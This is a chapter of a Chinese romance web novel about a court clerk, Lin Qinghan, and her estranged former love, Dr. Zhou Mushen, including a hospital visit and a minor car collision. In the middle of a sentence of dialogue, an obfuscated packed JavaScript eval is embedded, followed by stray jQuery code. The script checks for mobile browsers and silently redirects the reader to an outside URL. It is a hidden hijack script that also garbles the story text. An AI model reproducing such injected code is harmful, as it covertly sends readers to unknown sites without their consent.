回到法院,林清晗坐在办公室里慢吞吞吃起午餐,脑中忽然浮现出很多画面。
她想起在医院门外,周暮深看向她时的那个眼神;又想起很多年前,和周暮深在一起的点点滴滴。
正发着呆,法助李善歌忽然推门进来:“清晗姐,你回来了!听说何婷师姐情况已经稳定了?”
“嗯。”林清晗点头,“不过她的家人还没露面,师姐还昏迷着,连住院的费用都是汪庭长垫付的。”
说到这里,李善歌愤愤不平:“你是不知道,何婷家里极其重男轻女,得知她重伤入院,她父母不仅不愿意过来陪护,还埋怨她这个月没给家里寄钱,说让她身体痊愈了就快些打钱回去,好给她弟弟盖新房娶媳妇!”
“真是可怜,何法官这么好,怎么生在这样的家庭!”
林清晗想了想,低叹:“确实,成长在这样一个家庭,是师姐的不幸。”
李善歌忽然星星眼:“话说回来,清晗姐,我可真羡慕你。”
“我?”
“你家条件这么好,姨父是企业家,又有这么疼爱你的姨母和哥哥,真是羡煞旁人。”
“可我……”林清晗语塞。
羡慕她吗?
可她的人生,也有一半不幸。
十五岁那年,林清晗就在一场意外中失去了父母双亲,她和年幼的弟弟林轻晨被姨母收养。姨父姨母虽给了他们极好的物质生活,却牢牢禁锢他们的思想,他们说东便不可以往西。
林清晗在大学时选择法学专业,毕业后参加法考进入法院工作,也是和姨母的“专制独断”做了极大抗争,甚至在她做出这个选择后,姨母将近一年没有与她说过话。
这样令人窒息的人生,也值得被人羡慕吗?
林清晗不想提起那些陈芝麻烂谷子的糟心事,淡笑着转移话题:“这几天只要我空闲,就去医院照顾何婷。她是我师姐,以前帮助我不少,至少在她家人出现之前,我们得守着她,不让她出事。”
“嗯,我也是。”李善歌当即附和,“我们轮流照顾何师姐,相信她很快就能好起来的。”
-
傍晚,正是夕阳西下的时候,天气却阴沉得看不见半点余晖。周暮深坐在食堂里,对眼前的饭菜提不起一丝胃口。
回想起下午在医院门外,茫茫飞雪下,林清晗冷着脸拒绝他的好意的那一刻,她眼底的冷漠,和六年前如出一辙的相似。
仿佛他们的过去,在她眼里根本不值一提。
“周医生,没胃口啊?”
同科室的沈惜君在他对面坐下,主动挑起话题:“你今天值夜班,多少吃点嘛,虽然门口的便利店24小时营业,但总吃些快餐对身体不好的。”
“多谢关心。”对方滔滔不绝听得周暮深无比心烦,他端着餐盘起身,“有点头疼,我打包回办公室吃。”
“诶,周医生……”沈惜君望着那背影,失落地撇了撇唇。
同事谢娟打了饭在一旁坐下,打趣道:“你都追周医生这么久了,人家还对你爱搭不理啊?”
沈惜君开始怀疑自己的魅力:“啧,我就没见过这么难搞定的男人。”
“别泄气,你可咱们血液科的科花。”谢娟拍了拍她的肩,忍不住加油打气:“加油,再接再厉,看好你哟。”
-
晚上下班,林清晗左思右想还是放心不下何婷,索性半路改道直接开车去了懿德医院。
晚来天凉,林清晗一下车便冻得瑟瑟发抖,她搓着手快步往里走,不料在大厅再次撞见那个人。
看见他,林清晗没躲。她想为几个小时前的那份午餐道一声谢,却听见对方率先开了口。
周暮深看了眼窗外暗沉的天,又将视线放在她身上,淡问道:“吃过饭了?”
她轻轻摇头:“还没。”
“来看同事?”
“嗯。”
周暮深手插口袋,掠过她准备走,谁知背后的女人冷不丁冒出一句:“你让许医生给我的午餐,我没有扔,全都吃掉了。”
林清晗望着那道背影,轻声说道:“谢谢你,也谢谢许医生。”
周暮深回头看她,语气冷疏:“既然知道自己有什么毛病,就该按时吃饭。别饿病了倒在医院门口,给别人徒增麻烦。”
几秒的沉默过后,林清晗点点头:“好。”
回到办公室,周暮深开始懊恼。身为医生说出那样刻薄的话,实在是违背医德。
可只要一见到她,看见她那不冷不热的模样,他就快要被气出心梗。
果然这么多年过去,他还是这么没出息,轻而易举便被她拿捏。
如同年少时那样,周暮深自知拿她毫无办法。
喜欢上这样一个人,他只能认栽。
-
周六,林清晗在家躺了一天。
下午朦朦胧胧醒来,看见闺蜜姜真瑶发来信息,说是晚上定在溏心酒吧小聚,庆祝自己即将订婚。
林清晗简单回复了一句,翻了个身继续睡死过去。
闹钟响起的时候是18:30,窗外晚霞散去,暮色浓稠。洗漱过后,林清晗快速化了个淡妆,收拾妥帖出门,开车赴约。
入夜,柏榆大街一路灯火通明,来来往往的车辆川流不息。离开家乡多年,京州的变化太大,已经到了不跟导航走就直接迷路的地步。
林清晗稀里糊涂地开着车,心里想着何婷的事情,一个走神竟不小心占错了车道,等她回过神打转方向盘,想要见缝插针转换右车道的时候,才发现已经来不及。
情急之下,她踩下刹车,车子猛地一滞,刹车片发出刺耳的声响,车身直接蹭到了前车的车尾。
还好,刹车及时,仅仅只是刮蹭。
林清晗暗自松了口气,顾不上后背的疼痛,解开安全带下车。
整好前车驾驶座的车门被推开,一条腿迈了下来,是个年轻男子。抬起头的一瞬,男人黑而沉的眸子扫了过去,目光却倏地一滞。
“不好意思,我……”林清晗焦急地跑上前,话只说了一半就哽在喉头。
“清晗?”对方看着她,眉目冷淡,眸中流露出些微的不可置信。
“对不起,周……周医生。”林清晗抬手擦了擦额角的汗,迅速整理好情绪,“是我操作不当刮蹭了你的车,我人就在这里,您想私了,或是报警走正规程序都可以,我都会配合。”
“周医生?”对方闻言笑了笑,显然对这个称呼不太满意,“林清晗,你非要对我这么客套?”
林清晗无奈闭了闭眼:“周暮深,我不想跟你吵……”
“昨天忘了问你,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776557|174754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是什么时候回的京州?”对方打断她,看那深入探究的模样,像是要与她死磕。
时至此刻,林清晗才觉得大事不妙。她努力平复着起伏不定的心绪,浅浅呼出一口气:“只是刮蹭了一下,内部零件应该没有损坏,为了节约时间,咱们私了吧……”
对方面色愈发阴沉:“林清晗,你当真要这样避着我,把我当傻子敷衍?”
“那你想怎样?难不成坐下来心平气和地长谈一场吗?”心急火燎下,林清晗忍不住放大音量,“周先生,我们很熟吗?”
后面的车辆不耐烦地摁起喇叭,司机大叔降下车窗喊话:“我说你们,还走不走了?该报警报警,不报警私了!当大马路是你家啊,磨磨蹭蹭的!”
大叔的埋怨声落在耳中,周围的人也纷纷下车开始指指点点。林清晗一时难堪,她看向周暮深,原本冷淡的眸子渐渐浮现出些许哀求。
半晌,对面的男人笑了笑,“行,我们不熟。”
“你走吧。”他的眸子幽深如潭,再看不出任何情绪。
在他转身之际,林清晗写下一个电话,递了过去:“电话微信同步,车修好了告诉我,我一定照价赔偿。”
周暮深还未回过神,对方已经将纸条塞进他手心,转身走掉了,只甩给他一个纤瘦的背影。
忽然手机振动起来,伴随着呆板无趣的铃声,一阵阵急促地响起。
马路上无比嘈杂,周暮深直接摁了免提。
电话那头十分喧闹,尖叫声一浪盖过一浪。“嘀”的一声后,许珩之扯着嗓子喊道:“阿深,你怎么还没到?这都几点了?”
“遇到点事,马上来。”
周暮深说着,转头往回走,许是觉得命运离奇,他不自觉笑出了声:“和别人撞车了,处理了下。”
许珩之一时来了劲:“嚯,你撞到谁了?对方什么人啊?难不难缠?”
周暮深拉开车门的手顿住,望着手心那张纸条,眉心蹙了蹙,轻叹道:“不重要的人。”
彼时,云淡风轻的五个字落入林清晗的耳中,干脆利落。
说来奇怪,马路上车来车往无比嘈杂,可他的声音传入她的耳朵,每一个字她都听得那样清晰。内心仿佛被什么东西紧紧缠绕,又松开,只留下一道道浅浅的勒痕,看似不起眼,却始终难以淡去。
这一刻,仿佛醍醐灌顶。
林清晗终于想明白,大概于他而言,自己早已是不重要的人。
回到车上,林清晗打开车载广播,情感电台正在播放伤感的流行歌曲,脑中无数片段穿插交错着,如潮水拍岸,让人窒息。
正好姜真瑶的电话打进来,打破了这略微忧伤的氛围:“晗晗,你怎么还没到啊,大家都喝上了,就等你了!”
林清晗语气清淡:“出了点意外,不小心蹭了别人的车,不过都已经解决好了。”
“啊?你撞到什么人了?有没有受伤啊?”姜真瑶不放心,连连发问。
“没什么。”林清晗扯唇笑了笑,轻声道:“不重要的人。”
正好车辆经过一个十字路口,等红灯的间隙,林清晗降下车窗,晚风嗖嗖灌进来,冷得她一激灵,思绪也愈发清明。
这次的车祸兴许是上天刻意捉弄。
她只盼这件事情过后,他们之间再无交集。